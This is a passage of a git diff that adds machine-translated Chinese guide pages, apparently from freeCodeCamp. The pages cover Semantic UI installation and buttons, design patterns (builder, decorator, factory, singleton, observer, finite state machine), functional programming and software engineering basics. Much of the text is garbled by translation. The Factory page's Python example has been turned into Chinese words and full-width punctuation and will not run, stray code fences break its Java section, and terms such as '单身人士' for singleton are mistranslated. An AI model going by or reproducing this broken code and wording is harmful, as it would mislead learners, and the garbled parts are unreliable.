+<!DOCTYPE html> 
+ <html> 
+  <head> 
+    <title>Semantic UI</title> 
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.css"> 
+    <!-- Add custom stylesheet here --> 
+  </head> 
+  <body> 
+ 
+    <!-- Write your html code here --> 
+ 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> 
+    <script src="https://cdnjs.cloudflare.com/ajax/libs/semantic-ui/2.2.13/semantic.min.js"></script> 
+  </body> 
+ </html> 
+```
+
+`NOTE:`第5行上面的CDN链接将包含Semantic UI中的所有可用组件。如果要安装特定组件， [请单击此处](https://cdnjs.com/libraries/semantic-ui)以查看其各自的CDN链接。
+
+2.  **使用构建工具**
+
+这将假设您正在使用安装了`node`和`npm` Ubuntu Linux操作系统，对于其他操作系统， [请单击此处](https://semantic-ui.com/introduction/getting-started.html)
+
+在项目目录中，使用npm全局安装gulp
+```
+npm install -g gulp 
+```
+
+安装语义UI
+```
+npm install semantic-ui --save 
+ cd semantic/ 
+ gulp build 
+```
+
+包含在HTML中
+
+```html
+
+<link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css"> 
+ <script src="https://code.jquery.com/jquery-3.1.1.min.js" integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8=" crossorigin="anonymous"></script> 
+ <script src="semantic/dist/semantic.min.js"></script> 
+```
+
+通过npm更新
+```
+npm update 
+```
+
+3.  **与其他框架集成**
+
+您可以将Semantic UI与其他前端开发框架（如React，Angular，Ember或Meteor）集成。 [单击此处](https://semantic-ui.com/introduction/integrations.html)获取更多信息和集成说明。
+
+#### 更多信息
+
+语义用户界面拥有完整且组织良好的文档，可以立即启动并运行。以下链接将有助于您的语义UI之旅。
+
+*   [语义UI网站](https://semantic-ui.com/)
+*   [语义UI入门](https://semantic-ui.com/introduction/getting-started.html)
+*   [示例语义UI模板](https://semantic-ui.com/usage/layout.html#pages)
+*   [自定义和创建语义UI主题](http://learnsemantic.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/semantic-ui/semantic-ui-buttons/index.md b/client/src/guide/chinese/semantic-ui/semantic-ui-buttons/index.md
new file mode 100644
index 0000000000..04056e2276
--- /dev/null
+++ b/client/src/guide/chinese/semantic-ui/semantic-ui-buttons/index.md
@@ -0,0 +1,106 @@
+---
+title: Semantic UI Buttons
+localeTitle: 语义UI按钮
+---
+## 语义UI按钮
+
+按钮表示可能的用户操作。语义UI提供了一种易于使用的语法，不仅简化了按钮的样式，还简化了自然语言语义。
+
+#### 如何使用
+
+语义UI类简单地添加到按钮元素，下面给出了各种示例以指示如何使用它。
+
+#### 类型
+
+*   标准按钮
+
+标准语义UI按钮
+```
+<button class="ui button">Standard Button</button> 
+```
+
+*   重点按钮
+
+一个具有不同强调程度的按钮
+```
+<button class="ui primary button"> 
+```
+
+其他重点课程是`secondary` ， `positive`和`negative`
+
+*   动画按钮
+
+带动画的按钮，显示隐藏的内容
+```
+<div class="ui animated fade button" tabindex="0"> 
+  <div class="visible content">Sign-up for a Pro account</div> 
+  <div class="hidden content">$12.99 a month</div> 
+ </div> 
+```
+
+上面的属性`tabindex="0"`使按钮键盘可对焦，因为未使用`<button>`标签。
+
+*   标记的按钮
+
+标签旁边的按钮
+```
+<div class="ui labeled button" tabindex="0"> 
+  <div class="ui button"><i class="heart icon"></i> Like</div> 
+  <a class="ui basic label">2,048</a> 
+ </div> 
+```
+
+元素`<i>`用于指定图标，这里是心形图标`<i class="heart icon"></i>`以及基本标签`<a class="ui basic label">2,048</a>`
+
+*   图标按钮
+
+语义UI按钮可以只是一个图标
+```
+<button class="ui icon button"> 
+  <i class="camera icon"></i> 
+ </button> 
+```
+
+以上只是一个相机图标
+
+#### 组
+
+语义UI按钮可以存在于组中
+```
+<div class="ui buttons"> 
+  <button class="ui button">One</button> 
+  <button class="ui button">Two</button> 
+  <button class="ui button">Three</button> 
+ </div> 
+```
+
+#### 内容
+
+语义UI按钮可以包含条件
+```
+<div class="ui buttons"> 
+  <button class="ui positive button">Yes</button> 
+  <div class="or" data-text="or"></div> 
+  <button class="ui negative button">No</button> 
+ </div> 
+```
+
+#### 状态
+
+语义UI按钮可以存在于不同的状态， `active` ， `disabled` ， `loading` 。只需`of` \`element的`class`属性`of`添加一个州名。
+```
+<button class="ui loading button">Loading</button> 
+```
+
+#### 变化
+
+语义UI按钮存在各种尺寸， `mini` ， `tiny` ， `small` ， `medium` ， `large` ， `big` ， `huge` ， `massive` 。
+```
+<button class="ui massive button">Massive Button</button> 
+```
+
+有关语义UI按钮的更多信息，请访问“更多信息”部分中提供的链接以了解更多信息。
+
+#### 更多信息：
+
+*   [语义UI按钮文档](https://semantic-ui.com/elements/button.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/code-coverage/index.md b/client/src/guide/chinese/software-engineering/code-coverage/index.md
new file mode 100644
index 0000000000..04df49d12d
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/code-coverage/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Coverage
+localeTitle: 代码覆盖率
+---
+## 代码覆盖率
+
+当您在软件上运行自动化测试以查找错误时， **代码覆盖率**是衡量您测试的代码在测试期间实际执行的程度。
+
+根据定义，在测试期间未执行的代码未经过测试，因此可能包含错误。因此，一般来说，测试套件报告的代码覆盖率越高，错误被忽视的可能性就越小。
+
+这并不是说100％的代码覆盖率意味着0％的错误几率！很容易想象一种情况，其中一段代码中的所有可用函数都被调用，但不一定是输入代表您可能期望从真实用户那里获得的各种场景。
+
+在您实际使用自动化测试并尝试确保有效地执行此操作之前，代码覆盖范围的详细信息并不重要。
+
+#### 更多信息
+
+[维基百科 - 代码覆盖率](https://en.wikipedia.org/wiki/Code_coverage)
+
+[freeCodeCamp指南 - 测试驱动开发](https://guide.freecodecamp.org/agile/test-driven-development)
+
+[freeCodeCamp指南 - 单元测试](https://guide.freecodecamp.org/software-engineering/unit-tests)
+
+[freeCodeCamp指南 - 持续集成](https://guide.freecodecamp.org/agile/continuous-integration)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/builder/index.md b/client/src/guide/chinese/software-engineering/design-patterns/builder/index.md
new file mode 100644
index 0000000000..52435813bb
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/builder/index.md
@@ -0,0 +1,71 @@
+---
+title: Builder
+localeTitle: 生成器
+---
+构建器是一种设计模式，可以抽象和分离非常复杂的对象的创建。
+
+## Python中的生成器
+
+以下是Python3中Builder模式实现的示例。
+
+```python
+# Builder 
+ class CourseBuilder(object): 
+    def __init__(self, teacher): 
+        self.teacher = teacher 
+ 
+    def build_course(self): 
+        self.teacher.provide_homework() 
+        self.teacher.provide_exam() 
+        return self.teacher.course 
+ 
+ # Teacher 
+ class Teacher(object): 
+    def __init__(self, name=None): 
+        self.name = name 
+        self.course = Course() 
+ 
+    def provide_homework(self): 
+        raise NotImplementedError 
+ 
+    def provide_exam(self): 
+        raise NotImplementedError 
+ 
+ 
+ class MathTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is Math homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is Math exam tested by {}.'.format(self.name) 
+ 
+ 
+ class HistoryTeacher(Teacher): 
+    def provide_homework(self): 
+        self.course.homework = 'This is History homework provided by {}.'.format(self.name) 
+ 
+    def provide_exam(self): 
+        self.course.exam = 'This is History exam tested by {}.'.format(self.name) 
+ 
+ 
+ # Target objects to be produced 
+ class Course(object): 
+    def __init__(self): 
+        self.homework = None 
+        self.exam = None 
+ 
+    def __str__(self): 
+        return 'Homework: {}\nExam: {}\n'.format(self.homework, self.exam) 
+ 
+ 
+ math_course = CourseBuilder(MathTeacher('Harry')).build_course() 
+ print(math_course) 
+ >>> Homework: This is Math homework provided by Harry. 
+ >>> Exam: This is Math exam tested by Harry. 
+ 
+ history_course = CourseBuilder(HistoryTeacher('Potter')).build_course() 
+ print(history_course) 
+ >>> Homework: This is History homework provided by Potter. 
+ >>> Exam: This is History exam tested by Potter. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/decorator/index.md b/client/src/guide/chinese/software-engineering/design-patterns/decorator/index.md
new file mode 100644
index 0000000000..d71f75644f
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/decorator/index.md
@@ -0,0 +1,41 @@
+---
+title: Decorator
+localeTitle: 装饰
+---
+装饰器是一种可以修改或增强类接口的设计模式。
+
+## Python3中的装饰器
+
+这是Python3中Decorator实现的一个例子。
+
+```python
+class MyText(object): 
+    def __init__(self, text=''): 
+        self.text = text 
+ 
+    def __str__(self): 
+        return 'This is {}'.format(self.text) 
+ 
+ 
+ class BracketDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '({})'.format(self._decoratee) 
+ 
+ 
+ class QuoteDecorator(object): 
+    def __init__(self, decoratee): 
+        self._decoratee = decoratee 
+ 
+    def __str__(self): 
+        return '\"{}\"'.format(self._decoratee) 
+ 
+ 
+ print(BracketDecorator(MyText('apple'))) 
+ >>> (This is apple) 
+ print(QuoteDecorator(MyText('banana'))) 
+ >>> "This is banana" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/factory-method/index.md b/client/src/guide/chinese/software-engineering/design-patterns/factory-method/index.md
new file mode 100644
index 0000000000..4d0a54457d
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/factory-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Factory Method
+localeTitle: 工厂方法
+---
+## 工厂方法
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/monte-carlo/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/factory/index.md b/client/src/guide/chinese/software-engineering/design-patterns/factory/index.md
new file mode 100644
index 0000000000..476c5211c8
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/factory/index.md
@@ -0,0 +1,86 @@
+---
+title: Factory
+localeTitle: 厂
+---
+工厂是一种设计模式，旨在通过创建处理类创建的“工厂”类来减少实例化（创建）对象和对象本身的类之间的依赖关系。通过这样做，我们允许子类重新定义要实例化的类，并将可能复杂的创建逻辑分组到单个接口中。
+
+程序员使用工厂设计模式，因为它允许他们创建实现公共接口的对象实例，而不必事先知道正在使用的具体类（实现）。这是有用的常见情况是父类依赖于它的子类来指定它应该实例化的对象的类型。当对象的创建很复杂时，它也很有用，因为它允许程序员将代码分组到单个类中并减少重复。
+
+## 在Java中使用Factory模式
+
+要使用工厂设计模式，首先需要一个接口 - 一个具有类和变量名称但没有定义的对象。例如，这里我们有动物的Java接口。
+
+\`\`\`  
+public interface Animal { void talk（）; }
+```
+We now need to have "concrete classes" - classes which implement our interface and define the associated functions/ variables. 
+```
+
+```
+public class Dog implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Woof"); 
+    } 
+ } 
+```
+
+```
+public class Cat implements Animal { 
+ 
+    @Override 
+    public void talk() { 
+        System.out.println("Meow!"); 
+    } 
+ } 
+```
+
+```
+We now define our "AnimalFactory" - the class which will handle the creation of these classes. 
+```
+
+```
+public class AnimalFactory { 
+ 
+    public Animal getAnimal(String animalType) { 
+        if (animalType.equals("dog")) { 
+            return new Dog(); 
+        } else if (animalType.equals("cat")) { 
+            return new Cat(); 
+        } 
+        return null; 
+    } 
+ } 
+```
+
+```
+Now when we want to create a new Cat object, instead of saying something like ``` Cat cat = new Cat(); ```, we use the factory class that we have defined. For example: 
+```
+
+```
+    AnimalFactory animalFactory = new AnimalFactory(); 
+ 
+    Animal cat = animalFactory.getAnimal("cat"); 
+    cat.talk(); 
+```
+
+```
+Here we can see that the class with this instance of "Cat" doesn't really know which animal it has. But this doesn't matter - because all the classes the factory creates are concrete classes of the same interface, the parent class doesn't need to know the exact class it is using. 
+ 
+ 
+ ## Factory in Python3 
+ We can implement a Factory easily with static methods. 
+```
+
+蟒蛇 class Drink（对象）： def **init** （self，name，price = None）： self.name = name self.price =价格
+
+茶（饮料）： def **str** （self）： 返回'这是茶：{} in $ {}'。format（self.name，self.price）
+
+class Milk（Drink）： def **str** （self）： 返回'这是牛奶：{} in $ {}'。format（self.name，self.price）
+
+class DrinkFactory（object）： @staticmethod def generate（饮料_类型=无，\* args，\* _kwargs）： 如果饮料_类型=='茶'： 回归茶（_ args，\* _kwargs） elif drink _type =='milk'： 返回牛奶（_ args，\*\* kwargs） raise NotImplementedError（“{}饮料不存在。”。format（饮料_类型））
+
+# 测试
+
+_红茶= DrinkFactory.generate（'茶'，'红茶'，价格= 4.39） 全脂奶_ = DrinkFactory.generate（ '牛奶'， '全脂牛奶'，价格= 5.49） 印刷（ _红茶） 印花（全脂_牛奶） \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/finite-state-machine/index.md b/client/src/guide/chinese/software-engineering/design-patterns/finite-state-machine/index.md
new file mode 100644
index 0000000000..f7ce3d0901
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/finite-state-machine/index.md
@@ -0,0 +1,66 @@
+---
+title: Finite State Machine
+localeTitle: 有限状态机
+---
+有限状态机（FSM）是一种软件设计模式，其中给定模型通过外部输入转换到其他行为状态。
+
+## 有限状态机
+
+FSM由其**状态** ， **初始状态**和**转换定义** 。
+
+FSM的力量来自于在不同条件下明确定义不同_行为_的能力。通常，FSM与循环行为脚本一起使用，该脚本不断地评估循环或事件中的当前情况。
+
+为了帮助形成如何应用这一点的图像，将使用咖啡机作为有限状态机的示例。我们还将介绍状态图以可视化FSM并提供编码示例。
+
+### 状态图
+
+![咖啡机有限状态机图](https://raw.githubusercontent.com/arunma/blogimages/master/AkkaFSM/CoffeeMachineFSM.png) 该图显示了咖啡机的三种可能状态：
+
+*   打开
+*   ReadyToBuy
+*   已关闭的
+
+这些状态之间的线显示了状态之间和哪个方向可能的转换。这些转换具有FSM何时需要在状态之间切换的条件。
+
+*   StartUpMachine 从PoweredOff状态到Open状态，机器必须启动。在这种情况下，这是手动完成的。
+    
+*   存款> =咖啡费用 FSM在一个循环或金额变化时评估存入的现金金额（在这种情况下推荐） 如果您将足够的现金存入咖啡机，FSM将从“打开”变为“ReadyToBuy”。
+    
+*   ShutdownMachine 如果满足“不再有咖啡”的条件，机器将通过ShutDownMachine方法自动从Open到PoweredOff。
+    
+*   DispenseCoffee 在ReadyToBuy状态下，用户可以购买咖啡，然后将其冲泡和分配。条件是BuyCoffee事件（！链接到观察者模式！）触发。 （未在图中显示）
+    
+*   CancelCoffee 如果用户选择取消，则机器将从ReadyToBuy转到Open。
+    
+*   ShutDownMachine 机器将进入PoweredOff状态
+    
+
+### 状态
+
+在每个状态中都有定义的行为，只有在对象处于该状态时才会执行。例如，在PoweredOff期间，咖啡机在打开电源之前不会冲泡咖啡，在打开状态期间它将等待，直到插入足够的现金，直到给出断电命令，或者直到咖啡用完为止。在此打开状态期间，它可以执行诸如清洁之类的例程，这在其他状态下不会发生。
+
+### 初始状态
+
+每个FSM都有一个初始状态，这意味着它在创建时开始的状态，并且必须在构造或实例化时定义。当然，如果满足条件，可以直接改变状态。
+
+### 转变
+
+每个州要么经常评估它是否应该转换到另一个州，要么根据触发事件转换到另一个州。
+
+## DFA和NFA
+
+有限自动机有两种类型，确定性（DFA）和非确定性（NFA）。它们都接受常规语言并且以与上述相同的方式或多或少地操作，但是存在一些差异。
+
+DFA接受或拒绝一串符号，并且仅为每个输入字符串生成一个唯一计算或自动机。 _确定性_是指计算的唯一性。 如果有限状态机遵循以下规则，则称为DFA：
+
+1.  其每个转换由其源状态和输入符号_唯一_确定
+2.  每次状态转换都需要读取输入符号。
+
+NFA不需要遵守这些限制，这意味着每个DFA也是NFA。 由于它们都只识别常规语言，因此可以使用powerset构造算法将每个NFA转换为等效的DFA。
+
+那么我们期望在NFA中找到哪种规则而不是DFA？
+
+1.  NFA可以具有_空字符串_转换（通常用epsilon表示）。意味着当处于转换规则的epsilon的某个状态时，机器可以转换到下一个状态而不读取输入符号
+2.  在NFA中，每对状态和转换符号可以具有多个目标状态，而不是DFA中的对的唯一目标
+3.  每对状态和转换符号为其可能的每个目标生成计算的“分支”，从而创建某种多线程系统。
+4.  如果输入字符串落在接受状态以外的任何状态，则DFA将拒绝输入字符串。在NFA中，我们只需要一个“分支”来接受接受状态以接受字符串。
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/index.md b/client/src/guide/chinese/software-engineering/design-patterns/index.md
new file mode 100644
index 0000000000..4460ab7578
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/index.md
@@ -0,0 +1,47 @@
+---
+title: Design Patterns
+localeTitle: 设计模式
+---
+## 设计模式
+
+程序员和软件架构师使用设计模式来解决软件架构中**常见的，反复出现的问题** 。这些模式为**面向对象编程**提供了一种与语言无关的方法，可帮助开发人员遵循良好应用程序设计的原则。
+
+### 为什么设计模式？
+
+按设计模式开发具有以下几个优点：
+
+*   遵循良好的编程原则（如**[SOLID](https://www.youtube.com/watch?v=XzdhzyAukMM) [原则）](https://medium.com/@cramirez92/s-o-l-i-d-the-first-5-priciples-of-object-oriented-design-with-javascript-790f6ac9b9fa)**更容易**。**
+*   它使代码块更小，因此代码更容易**测试**和**调试**
+*   它有助于保持代码松散耦合，因此代码更易于**重新使用**和**更新**新应用程序
+*   它使代码更容易**理解** ，因此新的贡献者可以**迅速提升**
+
+使用设计模式需要进行一些权衡，开发新手的开发人员应该记住以下内容：
+
+*   编程中**没有银子弹** ，设计模式也不例外
+*   设计模式为代码添加了**一层抽象** ，增加了初始设计和开发工作
+*   过度使用设计模式或强制它们适合使代码**更难**理解
+
+### 语言支持
+
+设计模式源于静态类型语言的世界，如C ++，Java和C＃。关于按设计模式进行开发的大多数资源都基于这些语言之一。
+
+尽管如此，设计模式只是：模式。它们**不是**类或接口之类的实现，并且**不受任何一种语言的约束** 。
+
+在动态语言中学习设计模式时，如果特定模式看起来不必要复杂或反直觉，请回想起它们的起源。动态语言的开发人员仍然可以使用以下设计模式并从中受益，尽管可能需要更多的研究才能完全理解它们。
+
+### 用途
+
+设计模式非常适合以简单且可重复的方式解决基础编码问题。从广义上讲，它们分为三类：
+
+*   **创建**模式描述了如何创建新对象
+*   **结构**模式描述了如何从其他对象中组合对象
+*   **行为**模式描述了对象如何相互通信
+
+这些任务都可以在没有设计模式的情况下执行，但设计模式可以**降低**您违反良好实践并创建难以维护的代码**的风险** 。
+
+#### 更多信息：
+
+*   Kamran Ahmed的[“人类设计模式”](https://github.com/kamranahmedse/design-patterns-for-humans)是对特定模式的精彩介绍
+*   [设计模式](https://en.wikipedia.org/wiki/Design_Patterns)是开始这种实践的书
+*   Martin Fowler的[企业应用程序架构模式为企业应用程序](https://martinfowler.com/eaaCatalog/)提供了一套更复杂的模式
+*   Sourcemaking提供[在线资源，](https://sourcemaking.com/design_patterns)其中包含有关设计模式的其他示例和信息
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/observer/index.md b/client/src/guide/chinese/software-engineering/design-patterns/observer/index.md
new file mode 100644
index 0000000000..6bde6d144f
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/observer/index.md
@@ -0,0 +1,17 @@
+---
+title: Observer pattern
+localeTitle: 观察者模式
+---
+Observer模式提供订阅模型，其中对象订阅事件并在事件发生时得到通知。
+
+## 观察者模式
+
+这种模式是事件驱动编程的基础。在前端开发中，这是一个坚定地扩展应用程序逻辑的基本模式。在这种模式中，您可以在**主题**和**观察者**之间做出改变。主题是事件本身，例如_点击_ ， _按键_或来自服务器的信号。当主题改变状态时（事件触发时），所有订阅的**观察者都会**得到通知。有关事件的更多信息，请阅读[Evenet Driven Programming](https://www.technologyuk.net/software-development/designing-software/event-driven-programming.shtml)
+
+### 订阅
+
+这种模式的优点是拥有一组订阅对象，这些对象将响应事件，而不是在应该通知的每个对象上调用一个函数。另一个优点是观察者通过接口订阅，这允许事件功能的更改仅在函数内。
+
+## 其他资源
+
+[Observer Design Pattern中的](http://www.dofactory.com/javascript/observer-design-pattern)代码示例及更多内容
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/design-patterns/singleton/index.md b/client/src/guide/chinese/software-engineering/design-patterns/singleton/index.md
new file mode 100644
index 0000000000..1ae54ff189
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/design-patterns/singleton/index.md
@@ -0,0 +1,155 @@
+---
+title: Singleton
+localeTitle: 独生子
+---
+单例是一种设计模式，它将类的实例化限制为一个对象。当您只想让一个对象能够协调整个应用程序中的操作时，它非常有用。
+
+## Android中的Singleton
+
+Singleton是Android中常用的设计模式。它容易被滥用，因此可能导致应用程序难以维护。它在Android中很有用，因为它们存在于片段，活动和旋转中。
+
+*   单身人士经常在Android中用来存储临时数据
+*   它们允许应用程序拥有数据的所有者，并提供在控制器类之间传递数据的简便方法
+*   当Android从内存中删除您的应用时，单身人士会被销毁
+*   单身人士可能难以对您的应用进行单元测试
+
+```java
+public class DataStore { 
+  private static DataStore sDataStore; 
+  private List<Data> mData; 
+ 
+  public static DataStore get(Context context) { 
+    if (sDataStore == null) { 
+      sDataStore = new DataStore(context); 
+    } 
+    return sDataStore; 
+  } 
+ 
+  // Make constructor private to prevent other classes from creating a DataStore instance 
+  private DataStore(Context context) { 
+    mData = new ArrayList<>(); 
+  } 
+ 
+  // The only way for other classes to get data from DataStore 
+  public List<Data> getData() { 
+    return mData; 
+  } 
+ } 
+```
+
+## PHP中的单身人士
+
+> 私有构造函数用于防止从类中直接创建对象。 从类创建实例的唯一方法是使用静态方法，该方法仅在尚未创建对象时才创建对象。
+
+```php
+Class Singleton { 
+ 
+  // Hold the class instance 
+  private static $instance = null; 
+ 
+  /** 
+  * The constructor is private 
+  * it is ensure the class can be initialized only from itself 
+  */ 
+  private function __construct(){} 
+ 
+  /** 
+  * Return the singleton instance of this class 
+  * 
+  * @return Singleton 
+  */ 
+  public static function getInstance() 
+  { 
+    if (self::$instance == null) 
+    { 
+      self::$instance = new Singleton(); 
+    } 
+ 
+    return self::$instance; 
+  } 
+ 
+ } 
+ 
+ $obj1 = Singleton::getInstance(); 
+ $obj2 = Singleton::getInstance(); 
+```
+
+## 单身在C中
+
+使用[System.Lazy \\](http://msdn.microsoft.com/en-us/library/dd642331.aspx)的最优雅，简单和高性能的模式版本从.NET 4.0或更高版本输入。
+
+```csharp
+public sealed class Singleton 
+ { 
+    private static readonly Lazy<Singleton> lazy = new Lazy<Singleton>(() => new Singleton()); 
+ 
+    public static Singleton Instance { get { return lazy.Value; } } 
+ 
+    private Singleton() 
+    { 
+    } 
+ } 
+```
+
+## Python3中的Singleton
+
+我们可以使用元类在Python3中实现Singleton。
+
+```python
+class Singleton(type): 
+    # Mapping from a class to its singleton instance 
+    _instances = {} 
+ 
+    def __call__(cls, *args, **kwargs): 
+        if cls not in Singleton._instances: 
+            Singleton._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs) 
+ 
+        return Singleton._instances[cls] 
+ 
+ 
+ class MyClass(metaclass=Singleton): 
+    pass 
+```
+
+### 测试
+
+```python
+obj_0 = MyClass() 
+ obj_1 = MyClass() 
+ 
+ In [2]: obj_0 
+ Out[2]: <__main__.MyClass at 0x111130da0> 
+ 
+ In [3]: obj_1 
+ Out[3]: <__main__.MyClass at 0x111130da0> 
+```
+
+## iOS中的Singleton
+
+```Swift4
+class Singleton { 
+  static let sharedInstance = Singleton() 
+ 
+    init() { 
+        print("Singleton has been initialized") 
+    } 
+ 
+    //write your functions here 
+    func sampleFunction() { 
+    } 
+ } 
+ 
+ //Uses 
+ Singleton.sharedInstance.sampleFunction() 
+```
+
+这个简单的代码可以在iOS中使用Swift实现单例设计模式。我们把`static`因为它是一个类型属性，它的功能是只创建一个对象实例并防止其方法被覆盖。使用`let`将保证sharedInstance的值不会改变。
+
+需要注意的一点是， `static`属性和方法默认是惰性初始化，这意味着它在被调用之前不会被实例化，因此它提供了一些优化。
+
+## 更多信息
+
+有关更多信息，请访问以下链接：
+
+*   [MSDN：在C＃中实现Singleton](https://msdn.microsoft.com/en-us/library/ff650316.aspx)
+*   [C＃深度。在C＃中实现Singleton模式](http://csharpindepth.com/Articles/General/Singleton.aspx)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/functional-programming/index.md b/client/src/guide/chinese/software-engineering/functional-programming/index.md
new file mode 100644
index 0000000000..95acd8f233
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/functional-programming/index.md
@@ -0,0 +1,45 @@
+---
+title: Functional Programming
+localeTitle: 功能编程
+---
+## 功能编程
+
+功能编程是通过组合**纯函数** ，避免**共享状态** ， **可变数据**和**副作用**来构建软件的过程。函数式编程是**声明性的** （告诉计算机你想做什么）而不是**命令式** （告诉计算机确切地知道如何做），并且应用程序状态流经纯函数。将其与面向对象编程进行对比，其中应用程序状态通常与对象中的方法共享和共存。
+
+### 为什么功能编程？
+
+*   它通常更简洁
+*   它通常更容易预测
+*   它比面向对象的代码更容易测试
+
+### 通过编程语言采用
+
+许多编程语言都支持Haskell，F＃，Common Lisp，Clojure，Erlang，OCaml等函数式编程。 JavaScript还具有非类型化函数语言的属性。
+
+### 用途
+
+功能编程长期以来在学术界很受欢迎，但几乎没有工业应用。然而，最近几种主要的功能编程语言已经用于商业或工业系统。例如，Erlang编程语言由瑞典公司Ericsson在20世纪80年代末开发，用于在T-Mobile，Nortel，Facebook，ÉlectricitédeFrance和WhatsApp等公司构建一系列应用程序。
+
+### 高阶函数
+
+高阶函数是函数式编程的重要组成部分。高阶函数是将函数作为参数或返回函数的函数。
+
+### 地图
+
+`map`是一个高阶函数，它将函数调用到列表的每个元素，并将结果作为_新_列表返回。
+
+这是一个`map`的例子：
+
+```javascript
+const myList = [6, 3, 5, 29]; 
+ 
+ let squares = myList.map(num => num * num); // [36, 9, 25, 841] 
+```
+
+### 更多信息：
+
+*   [维基百科 - 功能编程](https://en.wikipedia.org/wiki/Functional_programming#Use_in_industry)
+    
+*   [KeyCDN - 功能编程 - 它是什么以及为什么重要？](https://www.keycdn.com/blog/functional-programming/)
+    
+*   [中 - 什么是功能编程？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/index.md b/client/src/guide/chinese/software-engineering/index.md
new file mode 100644
index 0000000000..b8c9f5f922
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/index.md
@@ -0,0 +1,25 @@
+---
+title: Software Engineering
+localeTitle: 软件工程
+---
+## 软件工程
+
+**软件工程领域**是研究技术和策略，以便有效地管理软件开发的整个生命周期。
+
+如果您只编写可能使用过一次或两次的脚本，那么实现软件工程原理可能过于复杂。但是，随着软件项目变得越来越大并预见到未来的持续使用，软件工程原理变得越来越重要。
+
+软件开发的整个生命周期从创建思想和软件设计到随着时间的推移维护开发的软件。
+
+您可能会认为软件工程是如何编写代码并使其保持运行的。但是，您可能没有想到的软件工程的一个重要方面是软件开发的道德实践。
+
+在这个可以恶意使用软件窃取信息或在软件实施不当的情况下造成伤害的时代，软件工程师（或从业者）必须意识到他们在道德上开发软件的职责。
+
+### 更多信息：
+
+*   [软件工程第10版。作者：Sommerville](http://iansommerville.com/software-engineering-book/) - 这本书的网站伴侣，每章都带有幻灯片
+*   [软件工程知识体系指南](https://www.computer.org/web/swebok)
+*   [软件工程广播](http://www.se-radio.net/) - 专业软件开发人员播客
+*   [软件工程日报](https://softwareengineeringdaily.com/)
+*   [策划的工程博客列表](https://github.com/kilimchoi/engineering-blogs)
+*   [软件工程道德规范与专业实践](http://www.acm.org/about/se-code)
+*   [维基百科文章](https://en.wikipedia.org/wiki/Software_engineering)
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/iron-triangle-or-pick-two/index.md b/client/src/guide/chinese/software-engineering/iron-triangle-or-pick-two/index.md
new file mode 100644
index 0000000000..10cc89a0f0
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/iron-triangle-or-pick-two/index.md
@@ -0,0 +1,17 @@
+---
+title: The Iron Triangle, or "Pick Two"
+localeTitle: 铁三角，或“挑选两个”
+---
+# 铁三角，或“挑选两个”
+
+软件开发是实现的功能，功能的质量以及生产所需的时间之间的一系列权衡。 但是，无论付出多少努力，人们都无法在不增加项目成本的情况下持续最大化所有这三项工作。 对于软件开发，成本通常与分配到项目和处理项目的人数直接相关。 这个概念通常被概括为“选择二：质量，速度，特征”。
+
+通过想象具有固定体积的三角形来说明质量，特征，速度和成本之间的这种关系 体积是质量。 可以提高实施速度和功能，但如果成本不变，质量会受到影响， 保持三角形的体积相同。
+
+通常假设成本是恒定的，因为在大多数情况下，成本是固定的，并且没有预算来增加更多人 也没有人可以从其他项目转移。 ![铁三角与范围，资源，时间表和质量的插图](http://www.ambysoft.com/artwork/ironTriangle.jpg)
+
+* * *
+
+## 资料来源：
+
+*   [Scott Ambler](https://en.wikipedia.org/wiki/Scott_Ambler) [的破铁三角反模式](http://www.ambysoft.com/essays/brokenTriangle.html)经典文章
\ No newline at end of file
diff --git a/client/src/guide/chinese/software-engineering/orthogonality/index.md b/client/src/guide/chinese/software-engineering/orthogonality/index.md
new file mode 100644
index 0000000000..79dd0814d6
--- /dev/null
+++ b/client/src/guide/chinese/software-engineering/orthogonality/index.md
